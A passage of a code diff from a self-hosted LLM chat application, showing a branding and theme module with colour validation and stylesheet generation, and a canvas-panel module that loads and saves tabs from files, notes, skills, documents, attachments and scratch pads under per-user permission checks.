("ink-faint", "Hints and timestamps"),
|
||||
("accent", "Links, focus and interactive accents"),
|
||||
("accent-hover", "The accent under the pointer"),
|
||||
("accent-ink", "Text on top of the accent"),
|
||||
("leaf", "The brand accent and the assistant's mark"),
|
||||
("danger", "Errors and destructive actions"),
|
||||
("success", "Confirmations and unread dots"),
|
||||
("warning", "Warnings"),
|
||||
("bubble-user", "Behind your own messages"),
|
||||
("code-bg", "Behind code"),
|
||||
)
|
||||
|
||||
THEME_TOKEN_NAMES = tuple(name for name, _ in THEME_TOKENS)
|
||||
|
||||
# A colour, and nothing else. Values reach a stylesheet, so a `}` in one would
|
||||
# end the rule and silently break every rule after it -- and `url(…)` in a
|
||||
# colour slot is a request to a third party from every page. Anything that does
|
||||
# not match is dropped rather than corrected: a colour nobody can read is a
|
||||
# setting that did not take, and that is visible, while a mangled one is not.
|
||||
_COLOUR = re.compile(
|
||||
r"^(#[0-9a-fA-F]{3,8}"
|
||||
r"|rgba?\([0-9,.\s%/]+\)"
|
||||
r"|hsla?\([0-9,.\s%/deg]+\)"
|
||||
r"|[a-z]{3,20})$"
|
||||
)
|
||||
|
||||
# An id that can be an attribute value and a CSS selector without quoting.
|
||||
_THEME_ID = re.compile(r"^[a-z][a-z0-9-]{0,23}$")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Theme:
|
||||
"""One theme somebody can choose."""
|
||||
|
||||
id: str
|
||||
label: str
|
||||
scheme: str
|
||||
# Which built-in it starts from. A custom theme sets a handful of tokens and
|
||||
# inherits the rest, and that inheritance is a CSS fact: tokens.css matches
|
||||
# `[data-base="shire"]` as well as `[data-theme="shire"]`, so a custom light
|
||||
# theme carries `data-base="shire"` and gets the whole parchment palette
|
||||
# underneath its own four colours. Without it a light custom theme would be
|
||||
# four light colours on Moria's near-black surfaces.
|
||||
base: str = "moria"
|
||||
tokens: dict[str, str] = field(default_factory=dict)
|
||||
colour: str = ""
|
||||
built_in: bool = False
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Branding:
|
||||
"""Everything a page needs to know about whose instance this is."""
|
||||
|
||||
name: str = DEFAULT_NAME
|
||||
tagline: str = ""
|
||||
logo_path: str = ""
|
||||
favicon_path: str = ""
|
||||
icon_paths: dict[str, str] = field(default_factory=dict)
|
||||
custom_css: str = ""
|
||||
text: dict[str, str] = field(default_factory=dict)
|
||||
themes: tuple[Theme, ...] = ()
|
||||
|
||||
@property
|
||||
def theme_ids(self) -> tuple[str, ...]:
|
||||
return tuple(theme.id for theme in self.themes)
|
||||
|
||||
@property
|
||||
def theme_list(self) -> str:
|
||||
"""`id:base` pairs, space separated, for the `data-themes` attribute.
|
||||
|
||||
One attribute rather than a JSON island, because two things in the
|
||||
browser need it — `/theme` validating a name, and `applyTheme` setting
|
||||
`data-base` alongside `data-theme` — and both want a list they can split
|
||||
rather than a document they have to parse.
|
||||
"""
|
||||
return " ".join(f"{theme.id}:{theme.base}" for theme in self.themes)
|
||||
|
||||
def theme(self, theme_id: str) -> Theme:
|
||||
for theme in self.themes:
|
||||
if theme.id == theme_id:
|
||||
return theme
|
||||
return self.themes[0]
|
||||
|
||||
@property
|
||||
def revision(self) -> str:
|
||||
"""A short hash of everything `/branding.css` is built from.
|
||||
|
||||
It goes in that link's query string, so the URL changes exactly when the
|
||||
stylesheet does. Without it the browser's cache is the thing deciding
|
||||
when a rebrand takes effect, which is the failure this codebase keeps
|
||||
cataloguing: a save that looks like it worked and did nothing.
|
||||
"""
|
||||
material = repr((self.custom_css, [(t.id, t.base, sorted(t.tokens.items())) for t in
|
||||
self.themes]))
|
||||
return hashlib.sha256(material.encode("utf-8")).hexdigest()[:12]
|
||||
|
||||
|
||||
# --- Reading ------------------------------------------------------------------
|
||||
def defaults() -> dict[str, Any]:
|
||||
return {
|
||||
"instance_name": "",
|
||||
"tagline": "",
|
||||
"logo_path": "",
|
||||
"favicon_path": "",
|
||||
# Derived from the logo at save time, so a launcher gets real PNGs at
|
||||
# the sizes it asks for rather than one image the browser is told to
|
||||
# scale. Empty means the shipped artwork is used.
|
||||
"icon_paths": {},
|
||||
"custom_css": "",
|
||||
"themes": [],
|
||||
**{f"text_{key}": "" for key in FLAVOUR},
|
||||
}
|
||||
|
||||
|
||||
def _theme_from(raw: dict[str, Any]) -> Theme | None:
|
||||
"""One stored custom theme, or None if it is not usable.
|
||||
|
||||
Every field is validated on read rather than trusted from the row: a theme
|
||||
stored by an earlier version, or written straight into the settings table,
|
||||
still has to produce a stylesheet that parses.
|
||||
"""
|
||||
theme_id = str(raw.get("id") or "").strip().lower()
|
||||
if not _THEME_ID.match(theme_id) or theme_id in {name for name, _, _ in BUILT_IN}:
|
||||
return None
|
||||
base = str(raw.get("base") or "moria")
|
||||
if base not in {name for name, _, _ in BUILT_IN}:
|
||||
base = "moria"
|
||||
tokens = {
|
||||
name: value
|
||||
for name, value in (raw.get("tokens") or {}).items()
|
||||
if name in THEME_TOKEN_NAMES and _COLOUR.match(str(value).strip())
|
||||
}
|
||||
scheme = next(s for name, s, _ in BUILT_IN if name == base)
|
||||
return Theme(
|
||||
id=theme_id,
|
||||
label=str(raw.get("label") or theme_id).strip()[:60] or theme_id,
|
||||
scheme=scheme,
|
||||
base=base,
|
||||
tokens=tokens,
|
||||
colour=tokens.get("bg", ""),
|
||||
)
|
||||
|
||||
|
||||
def build(values: dict[str, Any]) -> Branding:
|
||||
"""A snapshot from a settings group. Pure, so it can be tested without a
|
||||
database and used by the preview on the admin page."""
|
||||
text = {
|
||||
key: str(values.get(f"text_{key}") or "").strip() or default
|
||||
for key, (_, _, default) in FLAVOUR.items()
|
||||
}
|
||||
themes = [
|
||||
Theme(
|
||||
id=theme_id,
|
||||
label=text[f"theme_{theme_id}"],
|
||||
scheme=scheme,
|
||||
base=theme_id,
|
||||
colour=colour,
|
||||
built_in=True,
|
||||
)
|
||||
for theme_id, scheme, colour in BUILT_IN
|
||||
]
|
||||
seen = {theme.id for theme in themes}
|
||||
for raw in values.get("themes") or []:
|
||||
if not isinstance(raw, dict):
|
||||
continue
|
||||
theme = _theme_from(raw)
|
||||
if theme is not None and theme.id not in seen:
|
||||
seen.add(theme.id)
|
||||
themes.append(theme)
|
||||
return Branding(
|
||||
name=str(values.get("instance_name") or "").strip() or DEFAULT_NAME,
|
||||
tagline=str(values.get("tagline") or "").strip(),
|
||||
logo_path=str(values.get("logo_path") or ""),
|
||||
favicon_path=str(values.get("favicon_path") or ""),
|
||||
icon_paths=dict(values.get("icon_paths") or {}),
|
||||
custom_css=str(values.get("custom_css") or ""),
|
||||
text=text,
|
||||
themes=tuple(themes),
|
||||
)
|
||||
|
||||
|
||||
_CACHE: Branding | None = None
|
||||
|
||||
|
||||
def snapshot() -> Branding:
|
||||
"""The current branding, from a process-level cache.
|
||||
|
||||
Never raises. An error page that cannot render because branding could not be
|
||||
read is a failure that hides the failure it was about to report, so a
|
||||
database that is not there yet answers with the defaults.
|
||||
"""
|
||||
global _CACHE
|
||||
if _CACHE is not None:
|
||||
return _CACHE
|
||||
try:
|
||||
from lembas.db.session import session_scope
|
||||
|
||||
with session_scope() as db:
|
||||
_CACHE = _read(db)
|
||||
except Exception: # noqa: BLE001 - defaults are a usable answer, an exception is not
|
||||
log.debug("could not read branding; using defaults", exc_info=True)
|
||||
return build(defaults())
|
||||
return _CACHE
|
||||
|
||||
|
||||
def _read(db) -> Branding:
|
||||
"""The two groups this is assembled from.
|
||||
|
||||
`instance_name` lived in the general group before there was a branding one,
|
||||
and an upgrade must not quietly rename somebody's instance back to LLeMbas.
|
||||
So the stored general value is a **seed**, and the test for it is whether the
|
||||
branding row has said anything about the name at all -- `key in row`, not
|
||||
`row[key] is truthy`. An empty stored name is somebody clearing the box,
|
||||
which has to mean the default; a *missing* one is an instance that has never
|
||||
seen this page. Reading the two the same way would resurrect the old name
|
||||
underneath a cleared one, which is the failure a cleared reasoning effort
|
||||
already documents.
|
||||
|
||||
That is why this reads the raw row rather than `get_group`, which fills in
|
||||
defaults and so cannot tell absent from empty.
|
||||
"""
|
||||
from lembas.db.models import Setting
|
||||
|
||||
values = settings_store.get_group(db, BRANDING)
|
||||
row = db.get(Setting, BRANDING)
|
||||
said = isinstance(row, Setting) and isinstance(row.value, dict) and "instance_name" in row.value
|
||||
if not said:
|
||||
legacy = settings_store.get_group(db, settings_store.GENERAL).get("instance_name")
|
||||
if legacy:
|
||||
values = {**values, "instance_name": legacy}
|
||||
return build(values)
|
||||
|
||||
|
||||
def forget() -> None:
|
||||
"""Drop the cache. Called by the admin page's save, and by tests."""
|
||||
global _CACHE
|
||||
_CACHE = None
|
||||
|
||||
|
||||
def for_db(db) -> Branding:
|
||||
"""The snapshot, seeded from a session the caller already has open.
|
||||
|
||||
Same value as `snapshot()`; this only spares the extra session on the first
|
||||
render after a restart, where one is already in hand.
|
||||
"""
|
||||
global _CACHE
|
||||
if _CACHE is None:
|
||||
_CACHE = _read(db)
|
||||
return _CACHE
|
||||
|
||||
|
||||
# --- Writing ------------------------------------------------------------------
|
||||
def stored_only(values: dict[str, Any]) -> dict[str, Any]:
|
||||
"""Blank anything equal to its shipped wording, so it is not an override.
|
||||
|
||||
The prompt-fragment rule, and the reason it is a **blank rather than a
|
||||
dropped key**: `settings_store.update` merges, so omitting a key leaves
|
||||
whatever was stored last time. Dropping one would make "I typed the default
|
||||
back in" and "I changed nothing" store different things, and make clearing a
|
||||
box do nothing at all.
|
||||
|
||||
Empty is the not-overridden marker because `build` reads `stored or
|
||||
default`. That is deliberately *not* the fragment convention, where an empty
|
||||
override means the fragment is off: a fragment being off is a state somebody
|
||||
wants, and a heading with no words is not.
|
||||
"""
|
||||
return {
|
||||
key: ("" if _is_shipped(key, value) else value) for key, value in values.items()
|
||||
}
|
||||
|
||||
|
||||
def _is_shipped(key: str, value: Any) -> bool:
|
||||
if key.startswith("text_"):
|
||||
entry = FLAVOUR.get(key[len("text_") :])
|
||||
return entry is not None and value == entry[2]
|
||||
return value == defaults().get(key)
|
||||
|
||||
|
||||
# --- The stylesheet -----------------------------------------------------------
|
||||
def _soft(colour: str, alpha: str = "0.14") -> str:
|
||||
"""A colour at low opacity, for the `*-soft` tokens.
|
||||
|
||||
Derived rather than asked for: they are the same colour at 14%, and an
|
||||
administrator who set an accent without them would get focus rings and
|
||||
selected states in the old hue -- which reads as the setting half-working
|
||||
rather than as a field they missed.
|
||||
|
||||
Only hex is understood. Anything else answers "" and the base theme's own
|
||||
soft value stands, which is the right failure: a wrong soft colour is worse
|
||||
than an unchanged one.
|
||||
"""
|
||||
value = colour.strip()
|
||||
if not value.startswith("#"):
|
||||
return ""
|
||||
digits = value[1:]
|
||||
if len(digits) == 3:
|
||||
digits = "".join(c * 2 for c in digits)
|
||||
if len(digits) not in (6, 8):
|
||||
return ""
|
||||
try:
|
||||
r, g, b = (int(digits[i : i + 2], 16) for i in (0, 2, 4))
|
||||
except ValueError:
|
||||
return ""
|
||||
return f"rgba({r}, {g}, {b}, {alpha})"
|
||||
|
||||
|
||||
def theme_css(theme: Theme) -> str:
|
||||
"""One custom theme as a rule.
|
||||
|
||||
Two selectors' worth of work in one: the block sets what was chosen, and the
|
||||
`data-base` attribute on <html> is what brings the rest of the base theme's
|
||||
palette with it. Written here and served from `/branding.css`, which loads
|
||||
after `tokens.css`, so these win on order at equal specificity.
|
||||
"""
|
||||
if not theme.tokens:
|
||||
return ""
|
||||
lines = [f" --{name}: {value};" for name, value in theme.tokens.items()]
|
||||
for name, alpha in (("accent", "0.14"), ("leaf", "0.14"), ("danger", "0.14")):
|
||||
soft = _soft(theme.tokens.get(name, ""), alpha)
|
||||
if soft:
|
||||
lines.append(f" --{name}-soft: {soft};")
|
||||
return f':root[data-theme="{theme.id}"] {{\n' + "\n".join(lines) + "\n}\n"
|
||||
|
||||
|
||||
def stylesheet(brand: Branding) -> str:
|
||||
"""Everything `/branding.css` serves.
|
||||
|
||||
A route rather than an inline `<style>`, and that is a security property as
|
||||
much as a caching one: an external stylesheet has no HTML context to escape
|
||||
from, so an administrator's CSS cannot become markup however it is written.
|
||||
Inline, the same text would be one `</style>` away from being a script.
|
||||
"""
|
||||
parts = [
|
||||
"/* Generated by LLeMbas from the customization settings. */",
|
||||
*(theme_css(theme) for theme in brand.themes if not theme.built_in),
|
||||
]
|
||||
if brand.custom_css.strip():
|
||||
parts += ["/* Custom CSS. */", brand.custom_css.strip(), ""]
|
||||
return "\n".join(part for part in parts if part)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"BRANDING",
|
||||
"BUILT_IN",
|
||||
"DEFAULT_NAME",
|
||||
"FLAVOUR",
|
||||
"THEME_TOKENS",
|
||||
"THEME_TOKEN_NAMES",
|
||||
"Branding",
|
||||
"Theme",
|
||||
"build",
|
||||
"defaults",
|
||||
"for_db",
|
||||
"forget",
|
||||
"snapshot",
|
||||
"stored_only",
|
||||
"stylesheet",
|
||||
"theme_css",
|
||||
]
|
||||
@@ -1,480 +0,0 @@
|
||||
"""What is open in the canvas panel, and where its contents come from.
|
||||
|
||||
Six sources behind one shape. A tab key is `"<source>:<ref>"` and every source
|
||||
answers the same two questions -- load this, and save that -- through one table.
|
||||
A table rather than six branches for the reason `tool_labels.py` and
|
||||
`sharing.RESOURCE_TYPES` are tables: six independently written permission checks
|
||||
is how one of them ends up written slightly differently, and the way *that*
|
||||
failure shows up is somebody editing somebody else's note.
|
||||
|
||||
The panel is a person's own hands. A save on an `agent:` tab therefore does not
|
||||
go through `agent/policy.py`, exactly as the terminal panel and the directory
|
||||
browser do not: whoever owns the credential could write the file with `scp`.
|
||||
This is the first of those exceptions that *writes*, which is worth saying out
|
||||
loud -- Manual mode's "everything is shown to you before it happens" is a promise
|
||||
about the model, not about the interface.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import posixpath
|
||||
from dataclasses import dataclass
|
||||
from datetime import UTC
|
||||
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import KIND_AGENT, Attachment, Chat, SshProfile, User
|
||||
from lembas.security import permissions
|
||||
from lembas.services import scratch as scratch_service
|
||||
from lembas.services import settings_store, sharing
|
||||
from lembas.services.agent import index as index_service
|
||||
from lembas.services.agent import instructions as instructions_service
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent.base import Conflict, ExecError, revision_of
|
||||
from lembas.services.library import documents as documents_service
|
||||
from lembas.services.library import notes as notes_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
|
||||
# How many tabs a chat keeps. A model in a long reply reads forty files, and an
|
||||
# unbounded strip is a strip nobody can read -- and it would live on the chat
|
||||
# row forever. Past this the oldest tab that is not in front is dropped.
|
||||
MAX_TABS = 12
|
||||
|
||||
SOURCE_AGENT = "agent"
|
||||
SOURCE_NOTE = "note"
|
||||
SOURCE_SKILL = "skill"
|
||||
SOURCE_DOC = "doc"
|
||||
SOURCE_FILE = "file"
|
||||
SOURCE_SCRATCH = "scratch"
|
||||
|
||||
|
||||
|
||||
class Refused(Exception):
|
||||
"""This person may not have this, or it is not there any more.
|
||||
|
||||
One exception for every source, because the panel answers all of them the
|
||||
same way: a fragment saying so, in the tab, rather than an error page
|
||||
swapped into the middle of a chat.
|
||||
"""
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Doc:
|
||||
"""One open file, whatever it actually is underneath."""
|
||||
|
||||
key: str
|
||||
title: str
|
||||
subtitle: str = ""
|
||||
text: str = ""
|
||||
# An opaque token saying which version this was read at, round-tripped
|
||||
# through a hidden field so a save can refuse a file that moved underneath.
|
||||
revision: str = ""
|
||||
writable: bool = False
|
||||
# A filename or close enough, for choosing a lexer.
|
||||
language: str = ""
|
||||
markdown: bool = False
|
||||
truncated: bool = False
|
||||
binary: bool = False
|
||||
|
||||
@property
|
||||
def editable(self) -> bool:
|
||||
"""Whether the box is offered at all.
|
||||
|
||||
Not the same as `writable`. Saving back the first 256KB of a larger file
|
||||
is how the rest of it is deleted, and a binary file has nothing safe to
|
||||
put in a textarea -- both open read-only however the permissions read.
|
||||
"""
|
||||
return self.writable and not self.truncated and not self.binary
|
||||
|
||||
|
||||
def path_key(project_dir: str, path: str) -> str:
|
||||
"""One name for one file, so `./a.py` and `a.py` open the same tab.
|
||||
|
||||
The same normalisation `agent/tools.py:_path_key` applies to the read-path
|
||||
set, and lifted here so the two cannot disagree: a tab a model opened and a
|
||||
tab a person opened have to be one tab, or the panel shows the same file
|
||||
twice and only one of them is the one being saved.
|
||||
"""
|
||||
if not posixpath.isabs(path) and project_dir:
|
||||
path = posixpath.join(project_dir, path)
|
||||
return posixpath.normpath(path)
|
||||
|
||||
|
||||
def split(key: str) -> tuple[str, str]:
|
||||
"""`"agent:/srv/a:b.py"` -> `("agent", "/srv/a:b.py")`.
|
||||
|
||||
`partition`, not `split`: a path may contain a colon, and a key that lost
|
||||
half its path would silently open the wrong file.
|
||||
"""
|
||||
source, _, ref = (key or "").partition(":")
|
||||
return source, ref
|
||||
|
||||
|
||||
# --- The tab strip ---------------------------------------------------------------
|
||||
def tabs_of(chat: Chat) -> list[dict]:
|
||||
return list((chat.canvas_json or {}).get("tabs") or [])
|
||||
|
||||
|
||||
def active_of(chat: Chat) -> str:
|
||||
return str((chat.canvas_json or {}).get("active") or "")
|
||||
|
||||
|
||||
def open_tab(state: dict, tab: dict, *, activate: bool = True) -> dict:
|
||||
"""Add a tab, and optionally bring it to the front. Mutates `state`.
|
||||
|
||||
Mutating rather than returning a copy because the generation loop folds
|
||||
several of these into one snapshot within a round: two `file_read` calls
|
||||
that each read the state and wrote it back would leave only the second.
|
||||
That is the lost update `plan_update` documents, in a different place.
|
||||
|
||||
`activate=False` is what a *model* opening a tab does, and it is the whole
|
||||
of how this feature avoids being infuriating. An agent reads forty files in
|
||||
a long reply; if each one took the panel, somebody reading the third would
|
||||
be dragged through the other thirty-seven, and anybody halfway through an
|
||||
edit would lose it. So the model fills the strip and the person decides
|
||||
what is in front. A tab they open themselves activates, because opening
|
||||
something and not being shown it is the opposite failure.
|
||||
"""
|
||||
key = str(tab.get("key") or "")
|
||||
if not key:
|
||||
return state
|
||||
|
||||
tabs = [t for t in (state.get("tabs") or []) if t.get("key") != key]
|
||||
tabs.append({
|
||||
"key": key,
|
||||
"title": str(tab.get("title") or key)[:120],
|
||||
"source": str(tab.get("source") or split(key)[0]),
|
||||
})
|
||||
|
||||
# Evict from the front, and never the tab in front or the one just opened.
|
||||
# A model reading its way through a project must not close the file
|
||||
# somebody is looking at.
|
||||
keep = {key, str(state.get("active") or "")}
|
||||
while len(tabs) > MAX_TABS:
|
||||
victim = next((t for t in tabs if t["key"] not in keep), None)
|
||||
if victim is None:
|
||||
break
|
||||
tabs.remove(victim)
|
||||
|
||||
state["tabs"] = tabs
|
||||
if activate or not state.get("active"):
|
||||
# Not activating an empty panel would leave tabs with nothing in front,
|
||||
# which reads as a panel that failed to load.
|
||||
state["active"] = key
|
||||
return state
|
||||
|
||||
|
||||
def close_tab(state: dict, key: str) -> dict:
|
||||
tabs = [t for t in (state.get("tabs") or []) if t.get("key") != key]
|
||||
state["tabs"] = tabs
|
||||
if state.get("active") == key:
|
||||
state["active"] = tabs[-1]["key"] if tabs else ""
|
||||
return state
|
||||
|
||||
|
||||
def merge(stored: dict | None, live: dict | None) -> dict:
|
||||
"""Fold a reply's tabs into whatever the row says now.
|
||||
|
||||
A union rather than an overwrite. `_persist` is the single writer, and the
|
||||
snapshot it holds was taken when the reply began -- so overwriting would
|
||||
drop a tab the person opened by hand while the reply was running.
|
||||
"""
|
||||
state = {
|
||||
"tabs": list((stored or {}).get("tabs") or []),
|
||||
"active": (stored or {}).get("active") or "",
|
||||
}
|
||||
for tab in (live or {}).get("tabs") or []:
|
||||
# Never activating: what the row says is in front is what the person
|
||||
# last chose, and a reply that finishes ten minutes later must not move
|
||||
# it. The reply's own `active` is deliberately not consulted.
|
||||
open_tab(state, tab, activate=False)
|
||||
return state
|
||||
|
||||
|
||||
# --- Which sources this chat may reach ---------------------------------------------
|
||||
def agent_ready(db: DBSession, user: User, chat: Chat | None) -> SshProfile | None:
|
||||
"""The profile an `agent:` tab would use, or None.
|
||||
|
||||
Everything `_terminal_enabled` checks except `agent.terminal`. Reading and
|
||||
writing project files is what `tools.agent` is named after, and somebody who
|
||||
may have a model write a file may certainly write one themselves.
|
||||
|
||||
Re-derived on every request. The template flag of the same name is
|
||||
decoration; this is the control.
|
||||
"""
|
||||
if chat is None or chat.kind != KIND_AGENT or not chat.ssh_profile_id:
|
||||
return None
|
||||
if not permissions.has(db, user, "tools.agent"):
|
||||
return None
|
||||
if not settings_store.agents(db).get("enabled"):
|
||||
return None
|
||||
if ssh_service.available() != "":
|
||||
return None
|
||||
profile = db.get(SshProfile, chat.ssh_profile_id)
|
||||
if profile is None or profile.owner_id != user.id or not profile.enabled:
|
||||
return None
|
||||
if not profile.host_key:
|
||||
return None
|
||||
return profile
|
||||
|
||||
|
||||
def _executor(db: DBSession, user: User, chat: Chat) -> ssh_service.SshExecutor:
|
||||
profile = agent_ready(db, user, chat)
|
||||
if profile is None:
|
||||
raise Refused(
|
||||
"This chat has no connection you can reach. Check the connection's "
|
||||
"host key on the Connections page if it has not been accepted yet."
|
||||
)
|
||||
return ssh_service.SshExecutor(ssh_service.spec_from(profile), chat.project_dir)
|
||||
|
||||
|
||||
# --- Loading ------------------------------------------------------------------------
|
||||
async def _load_agent(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
|
||||
executor = _executor(db, user, chat)
|
||||
path = path_key(chat.project_dir, ref)
|
||||
try:
|
||||
found = await executor.read_text(path)
|
||||
except ExecError as exc:
|
||||
raise Refused(str(exc)) from exc
|
||||
|
||||
return Doc(
|
||||
key=f"{SOURCE_AGENT}:{path}",
|
||||
title=posixpath.basename(path) or path,
|
||||
subtitle=path,
|
||||
text=found.text,
|
||||
revision=found.revision,
|
||||
writable=True,
|
||||
language=posixpath.basename(path),
|
||||
markdown=path.lower().endswith((".md", ".markdown")),
|
||||
truncated=found.truncated,
|
||||
binary=found.binary,
|
||||
)
|
||||
|
||||
|
||||
async def _load_note(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
|
||||
_needs_library(db, user)
|
||||
note = notes_service.get(db, ref, user)
|
||||
if note is None:
|
||||
raise Refused("That note is not there any more.")
|
||||
return Doc(
|
||||
key=f"{SOURCE_NOTE}:{note.id}",
|
||||
title=note.title or "Note",
|
||||
subtitle="Note",
|
||||
text=note.body or "",
|
||||
revision=_stamp(note, note.body or ""),
|
||||
writable=sharing.can_write(note, user),
|
||||
language="note.md",
|
||||
markdown=True,
|
||||
)
|
||||
|
||||
|
||||
async def _load_skill(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
|
||||
_needs_library(db, user)
|
||||
skill = skills_service.get(db, ref, user)
|
||||
if skill is None:
|
||||
raise Refused("That skill is not there any more.")
|
||||
return Doc(
|
||||
key=f"{SOURCE_SKILL}:{skill.id}",
|
||||
title=skill.name or "Skill",
|
||||
subtitle="Skill",
|
||||
text=skill.body or "",
|
||||
revision=_stamp(skill, skill.body or ""),
|
||||
writable=sharing.can_write(skill, user),
|
||||
language="skill.md",
|
||||
markdown=True,
|
||||
)
|
||||
|
||||
|
||||
async def _load_doc(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
|
||||
_needs_library(db, user)
|
||||
document = documents_service.get(db, ref, user)
|
||||
if document is None:
|
||||
raise Refused("That document is not there any more.")
|
||||
return Doc(
|
||||
key=f"{SOURCE_DOC}:{document.id}",
|
||||
title=document.title or document.filename or "Document",
|
||||
subtitle="Knowledge document",
|
||||
text=document.extracted_text or document.extraction_error or "",
|
||||
revision=_stamp(document, document.extracted_text or ""),
|
||||
writable=documents_service.can_write(document, user),
|
||||
language=document.filename or "",
|
||||
markdown=(document.filename or "").lower().endswith((".md", ".markdown")),
|
||||
truncated=bool(document.truncated),
|
||||
)
|
||||
|
||||
|
||||
async def _load_file(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
|
||||
attachment = db.get(Attachment, ref)
|
||||
if attachment is None or attachment.user_id != user.id:
|
||||
raise Refused("That attachment is not there any more.")
|
||||
# Belonging to this conversation, so a canvas cannot browse another one's
|
||||
# files by id. `chat_id` covers one still in the composer; the message check
|
||||
# covers one that has been sent.
|
||||
if attachment.chat_id != chat.id:
|
||||
raise Refused("That attachment belongs to another chat.")
|
||||
return Doc(
|
||||
key=f"{SOURCE_FILE}:{attachment.id}",
|
||||
title=attachment.filename or "Attachment",
|
||||
subtitle=attachment.source_path or "Attachment",
|
||||
text=attachment.extracted_text or attachment.extraction_error or "",
|
||||
# Read-only, and not for want of a write path: `DELETE /api/files/{id}`
|
||||
# already refuses once the attachment has been sent, because it would
|
||||
# rewrite a message somebody already read. Editing is the same act with
|
||||
# a quieter failure.
|
||||
writable=False,
|
||||
language=attachment.filename or "",
|
||||
markdown=(attachment.filename or "").lower().endswith((".md", ".markdown")),
|
||||
truncated=bool(attachment.truncated),
|
||||
)
|
||||
|
||||
|
||||
async def _load_scratch(db: DBSession, user: User, chat: Chat, ref: str) -> Doc:
|
||||
if ref != chat.id:
|
||||
raise Refused("That scratch document belongs to another chat.")
|
||||
doc = scratch_service.for_chat(db, chat)
|
||||
return Doc(
|
||||
key=f"{SOURCE_SCRATCH}:{chat.id}",
|
||||
title=doc.title or "Scratch",
|
||||
subtitle="This chat's scratch document",
|
||||
text=doc.body or "",
|
||||
revision=_stamp(doc, doc.body or ""),
|
||||
writable=True,
|
||||
language="scratch.md",
|
||||
markdown=True,
|
||||
)
|
||||
|
||||
|
||||
# --- Saving --------------------------------------------------------------------------
|
||||
async def _save_agent(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
|
||||
executor = _executor(db, user, chat)
|
||||
path = path_key(chat.project_dir, ref)
|
||||
try:
|
||||
await executor.write_text(path, text, if_unchanged=revision)
|
||||
except ExecError as exc:
|
||||
raise Refused(str(exc)) from exc
|
||||
|
||||
profile = agent_ready(db, user, chat)
|
||||
if profile is not None:
|
||||
# Unconditionally, unlike `file_edit` -- whose skip is an optimisation
|
||||
# for the model's hot path on the grounds that the file was already
|
||||
# there. The canvas can create one, and a listing known to be wrong is
|
||||
# what the cache note warns about.
|
||||
index_service.forget_dir(profile.id, chat.project_dir)
|
||||
if instructions_service.is_instruction_file(path, chat.project_dir):
|
||||
instructions_service.forget(profile.id, chat.project_dir)
|
||||
return await _load_agent(db, user, chat, path)
|
||||
|
||||
|
||||
async def _save_note(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
|
||||
note = notes_service.get(db, ref, user)
|
||||
if note is None:
|
||||
raise Refused("That note is not there any more.")
|
||||
if not sharing.can_write(note, user):
|
||||
raise Refused("That note is not yours to change.")
|
||||
_check_stamp(note, note.body or "", revision)
|
||||
notes_service.update(db, note, body=text)
|
||||
return await _load_note(db, user, chat, ref)
|
||||
|
||||
|
||||
async def _save_skill(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
|
||||
skill = skills_service.get(db, ref, user)
|
||||
if skill is None:
|
||||
raise Refused("That skill is not there any more.")
|
||||
if not sharing.can_write(skill, user):
|
||||
raise Refused("That skill is not yours to change.")
|
||||
_check_stamp(skill, skill.body or "", revision)
|
||||
# Snapshots into a SkillRevision first, which is why a skill needs no
|
||||
# conflict story beyond the token: a clobber is recoverable.
|
||||
skills_service.update(db, skill, body=text, note="Edited in the canvas")
|
||||
return await _load_skill(db, user, chat, ref)
|
||||
|
||||
|
||||
async def _save_doc(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
|
||||
document = documents_service.get(db, ref, user)
|
||||
if document is None:
|
||||
raise Refused("That document is not there any more.")
|
||||
if not documents_service.can_write(document, user):
|
||||
raise Refused("That document is not yours to change.")
|
||||
_check_stamp(document, document.extracted_text or "", revision)
|
||||
documents_service.set_text(db, document, text)
|
||||
return await _load_doc(db, user, chat, ref)
|
||||
|
||||
|
||||
async def _save_scratch(db: DBSession, user: User, chat: Chat, ref: str, text: str, revision: str):
|
||||
if ref != chat.id:
|
||||
raise Refused("That scratch document belongs to another chat.")
|
||||
doc = scratch_service.for_chat(db, chat)
|
||||
_check_stamp(doc, doc.body or "", revision)
|
||||
scratch_service.update(db, doc, body=text)
|
||||
return await _load_scratch(db, user, chat, ref)
|
||||
|
||||
|
||||
# --- One table -------------------------------------------------------------------------
|
||||
_SOURCES: dict[str, tuple] = {
|
||||
SOURCE_AGENT: (_load_agent, _save_agent),
|
||||
SOURCE_NOTE: (_load_note, _save_note),
|
||||
SOURCE_SKILL: (_load_skill, _save_skill),
|
||||
SOURCE_DOC: (_load_doc, _save_doc),
|
||||
SOURCE_FILE: (_load_file, None),
|
||||
SOURCE_SCRATCH: (_load_scratch, _save_scratch),
|
||||
}
|
||||
|
||||
|
||||
async def load(db: DBSession, user: User, chat: Chat, key: str) -> Doc:
|
||||
source, ref = split(key)
|
||||
entry = _SOURCES.get(source)
|
||||
if entry is None or not ref:
|
||||
raise Refused("There is nothing to open here.")
|
||||
return await entry[0](db, user, chat, ref)
|
||||
|
||||
|
||||
async def save(
|
||||
db: DBSession, user: User, chat: Chat, key: str, text: str, revision: str = ""
|
||||
) -> Doc:
|
||||
source, ref = split(key)
|
||||
entry = _SOURCES.get(source)
|
||||
if entry is None or not ref:
|
||||
raise Refused("There is nothing to save here.")
|
||||
saver = entry[1]
|
||||
if saver is None:
|
||||
raise Refused("This one can only be read.")
|
||||
return await saver(db, user, chat, ref, text, revision)
|
||||
|
||||
|
||||
# --- Small shared pieces ------------------------------------------------------------------
|
||||
def _needs_library(db: DBSession, user: User) -> None:
|
||||
